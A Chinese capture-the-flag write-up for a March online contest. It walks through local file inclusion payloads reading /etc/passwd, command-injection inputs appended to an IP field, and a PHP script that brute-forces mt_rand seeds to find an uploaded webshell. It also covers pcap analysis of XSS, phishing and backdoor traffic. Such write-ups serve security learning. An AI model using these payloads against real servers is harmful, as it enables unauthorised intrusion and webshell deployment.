#前言

这次做的还挺多的,只有个Web300没做出来,排名由上次60+进步到这次16名(最后三分钟掉了5名),感觉还是不错的。但是很明显,流量题有很大的运气成分。做完流量题之后还剩一个多小时,水了水Misc,然而之前从来没做过,不知道有什么套路,到最后也没做出来。看看排名靠前的大佬基本就是Web+Crypto+Misc+Re+流量,我的知识面还是太窄了。下面好好加油吧,Re也要学学了。

#Web

##Web100-WebScan:

进入网站后先看一下有哪些网页,其中有个网页的url中有个&file=.,具体的文件名我没有记录,不过估计就是LFI漏洞了(本地文件包含)。尝试一下:

http://192.168.5.25/index.php?act=about&file=../../../../etc/passwd

页面果然返回了/etc/passwd的文件内容。由于这题的hint与Web日志有关,所以就包含一下apache日志试试:

http://192.168.5.25/index.php?act=about&file=../../../../etc/httpd/conf/httpd.conf

出来了,find一下flag:

##Web200-ping也能把你ping挂

这题看到后瞬间想到了二月赛中的一个Web题,题目名也是ping,结果使用命令执行+dnslog做的,所以估计这题也是命令执行了。

进入网页后看到一个输入框,输入ip地址,然后输入框下面会回显ping的结果。

尝试在ip地址后加上一些字符,来执行下一个命令。比如:

1.1.1.1|ls
1.1.1.1 > ls
1.1.1.1; ls
1.1.1.1&ls

反正就是一顿乱揍,到最后的&终于成功回显了:

通过观察ls的回显,发现了一个upload文件夹和一个文件上传的php文件。进入you_find_upload.php页面,就是一个常规的文件上传页面。

上传之后也没啥回显,也不知道文件名。发现上面的导航栏多了个查看源码,点进去之后我忘了是什么样了,反正是把you_find_upload.php源码给你了,源码如下(无关紧要的html代码我就不贴了,太长了):

    <form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
<label>Select image to upload:</label>
<input type="file" name="file">
<button type="submit" class="btn" name="submit">upload</button>
<pre>
<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
@$extension = end(explode('.',$_FILES['file']['name']));
if(in_array($extension,$type)){
echo 'File is an image - ' . $check['mime'];
$filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>\n";
} else {
echo "File is not an image";
}
}
if(isset($_GET['p'])){
if(@preg_match("/\.\.\//",$_GET['p'])){
echo "ä½ è¿ä¸ªå­©å­ï¼too young too simple";
}
else{
@include $_GET['p'].".php";
}
}
?>
</pre>
</form>

分析之后发现对于上传的文件有个限制,就是文件名必须以.jpg或.png或.gif结尾。上传之后,将文件命名成"随机数字+_+原文件名"。这里发现,就算上穿了图片马,你没有随机数啊!所以还是找不到文件的。

仔细看代码,发现三个关键点:

1.mt_srand((time() % rand(1,100000)%rand(1000,9000)));
这是生成一个随机种子
2.echo mt_rand()
做一次随机运算
3. $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
再做一此随机运算,并将这个随机数作为文件名的一部分。

由此可见,如果第三步的随机数能搞到,那文件名就出来了。可是这个随机数怎么搞?只好求助一下百度,发现mt_rand()生成的是伪随机数,也就是说,只要种子固定,那么每次的的mt_rand()都是固定的。举个例子:

<?php
mt_srand(1);//先给个值为1的种子
echo mt_rand();//输出随机数
echo "<br>";
echo mt_rand();//再次输出随机数
echo "<br>";
echo mt_rand();//再再次输出随机数
?>

输出结果:

1244335972
15217923
1546885062

你再刷新试试,你会发现,不管刷新多少次,生成的随机数都是固定的。因此生成的随机数只跟两个值有关,一个是种子的值,一个是计算的次数。而种子在源代码中有,计算的次数我们也已经知道了(2次,因为第二个mt_rand()用于合成文件名)。所以,基本上文件名就出来了。看一下种子:

mt_srand((time() % rand(1,100000)%rand(1000,9000)));

这个种子是跟时间相关的,可是你echo一下种子你就会发现,种子的值在0~10000之间(并不精确,仅仅是我根据echo大致猜测的)。

整理一下思路,我上面说,随机数只跟两个因素有关,一个是种子,一个是计算的次数。现在已经知道了,种子的值是0~10000,计算的次数是2。所以我们最多只要计算1w次就能找到这个随机数了。方法就是写个php脚本,进行爆破。这里有个小技巧,你可以将同一个文件上传多次,这样爆破的时间会减少很多。上脚本(代码很丑,大佬轻喷):

<?php
/*上传文件名为1.php.jpg*/
$url = 'http://192.168.5.85/upload/';
$start = 1;
$end = 10000;
$index = $start;
$random_pre = '';
$filename = '';
$result = '##';
while($index <= $end){
echo "No.".$index;
echo "<br>";
mt_srand($index);
mt_rand();
$random_pre = mt_rand();
$filename = $random_pre.'_1.php.jpg';
$cur_url = $url.$filename;
if(curl_get($cur_url)){
$result = $result.$filename.'--';
exit;
}
$index++;
}
if($index == 1001){
echo "no result!";
} function curl_get($tmp_url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$tmp_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,1);
$result=curl_exec($ch);
$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($code=='404' && $result){
curl_close($ch);
return 0;
} else {
curl_close($ch);
echo $code;
echo "<br>";
echo "#####got one!===>>>".$tmp_url;
echo "<br>";
return 1;
}
}

这样基本就能爆破出我们的文件了,爆出来之后面临的问题就是解析了。众所周知,apache的解析漏洞只能使用apache不认识的后缀名,而这题已经限制死了,必须以图片格式结尾。所以常规办法已经无法继续了(也许因为我菜?),后来尝试1.php.jpg时,没想到竟然成功解析了!这是什么鬼哦!我在t00ls上问了大佬,他们说可能是.htaccess的问题,估计是这样了,在生产环境中应该是遇不到的。

解析成功后用菜刀连一下,发现flag在根目录下(第一次做上传的我,光找这个flag就找了十多分钟)。

##Web300-Bypass

这题没做出来,很辣鸡。登录页面一直要么是username not exists,要么就是非法字符。等等看大佬的WP吧。。

#流量题

这是第一次做流量题,没想到误打误撞三题全做出来了。之前就用过几次Wireshark,并不熟练,所以这次找flag之旅可以说是纯靠手找,毫无章法可言,所以就当故事看吧。。

先po个流量文件: https://pan.baidu.com/s/1saFYvXjCYwj-xZQ4AuY8xg 密码:m06t

##流量100-找黑客IP

一共10个数据包,时间相同,最后六位数字不同。我想查看一下文件修改时间,可是这边全是我的本地下载的时间,所以就只能根据文件名来排序了。

进入文件中,先大体浏览一下,基本都是TCP和HTTP包。随便找一个包,跟踪一下TCP或HTTP流,如果运气好的话就能立马发现蹊跷:

这是一个xss注入,把鼠标移到文字上,Wireshark会自动将这个数据包高亮显示,看一下源IP就ok了。

##流量题200-找发送钓鱼邮件的黑客的邮箱

既然是发邮件,自然要找一下SMTP协议了。在Wireshark过滤栏中输入smtp,看看哪个包里有数据。找到之后继续跟踪TCP流:

##流量题300-找黑客留的后门

这题我是从第一个包一直看到最后一个包,最后在172831中好不容易才找到。先过滤成POST协议,因为文件上传的话一般都是通过POST上传的。然后大致浏览一下POST的地址,以及POST的数据。后来发现请求的这个文件挺可疑:

很有可能是上传文件的php页面。再仔细找找就能发现后门文件了:

安恒杯 3月线上个人赛WriteUp的更多相关文章

  1. 尖峰7月线上技术分享--Hadoop、MySQL

      7月2号晚20:30-22:30 东大博士Dasight分享主题<大数据与Hadoop漫谈> 7月5号晚20:30-22:30  原支付宝MySQL首席DBA分享主题<MySQL ...

  2. 2019嘉韦思杯线上初赛writeup

    1 土肥原贤二 看到页面怀疑是sql注入,写了个4'进去就发生报错.could not to the database You have an error in your SQL syntax; ch ...

  3. 2019第十二届全国大学生信息安全实践创新赛线上赛Writeup

    本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html  未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...

  4. 2018安恒杯11月月赛 MISC

    题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...

  5. ISCC 2018线上赛 writeup

    今天有机会去ISCC2018参加了比赛,个人的感受是比赛题目整体难度不高,就是脑洞特别大,flag形式不明确,拿到flag后也要猜测flag格式,贼坑 废话不多说,以下是本人的解题思路 MISC 0x ...

  6. DDCTF 2018线上赛writeup

    第一题: d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e ...

  7. RCTF 2018线上赛 writeup

    苦逼的RCTF,只进行了两天,刚好第二天是5.20,出去xxx了,没法打比赛,难受.比赛结束了,还不准继续提交flag进行正确校验了,更难受. 下面是本次ctf解题思路流程 后面我解出的题会陆续更新上 ...

  8. 安恒杯2月月赛-应该不是xss

    1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...

  9. 安恒杯11月月赛web题目-ezsql详细记录

    通过此题目可以学习到 1.通过load_file+like来盲注获取文件内容 2.php魔术方法__get函数的用法 3.bypass  linux命令过滤 题目中给了注册和登录的功能,没有源码泄露 ...

随机推荐

  1. Juint单元测试

    ********************************************************************************************* 单元测试:集 ...

  2. MyBatis的增删改查。

    数据库的经典操作:增删改查. 在这一章我们主要说明一下简单的查询和增删改,并且对程序接口做了一些调整,以及对一些问题进行了解答. 1.调整后的结构图: 2.连接数据库文件配置分离: 一般的程序都会把连 ...

  3. balancer.go

    package) , {         close(b.upc)     }     return nil } func getHost(ep string) string {     url, u ...

  4. bzoj 2242 [SDOI2011]计算器 快速幂+扩展欧几里得+BSGS

    1:快速幂  2:exgcd  3:exbsgs,题里说是素数,但我打的普通bsgs就wa,exbsgs就A了...... (map就是慢)..... #include<cstdio> # ...

  5. Python Django 2.2登录功能_2

    #Now 让我们继续对上篇的登录进行操作 #对于csrf,以后再开篇章记录 #修改index.html <form method="post" action="/l ...

  6. ApplicationHost.config(IIS存储配置区文件)

    对于一个刚刚创建网站,以ASP.NET MVC5为例. 我们并没有在网页的配置文件(web.config)中配置一些处理程序或模块,如处理Session的SessionStateModule模块,映射 ...

  7. sql查询当前登陆人所管理的校区下的人员

    StringBuilder sql = new StringBuilder("select accountId, concat( ',', GROUP_CONCAT(FIND_IN_SET( ...

  8. nginx日志模块及日志定时切割

    一:作用 Ngx_http_log_module:定义日志格式,并且以指定的格式保存. 二:示例配置 log_format compression '$remote_addr - $remote_us ...

  9. 前端利用百度开发文档给的web服务接口实现对某个区域周边配套的检索

    最近项目需要实现地图功能,以便于实现对房源周边配套设施的检索.内容如下 其实百度官方有对应的api,但是对于一个网站来说这样的样式难免有些难看 这样的结果显然不能满足当下的需求,所以我决定利用官方给的 ...

  10. Arthas

    Arthas 是Alibaba开源的Java诊断工具,深受开发者喜爱 下载&启动 wget https://alibaba.github.io/arthas/arthas-boot.jar 启 ...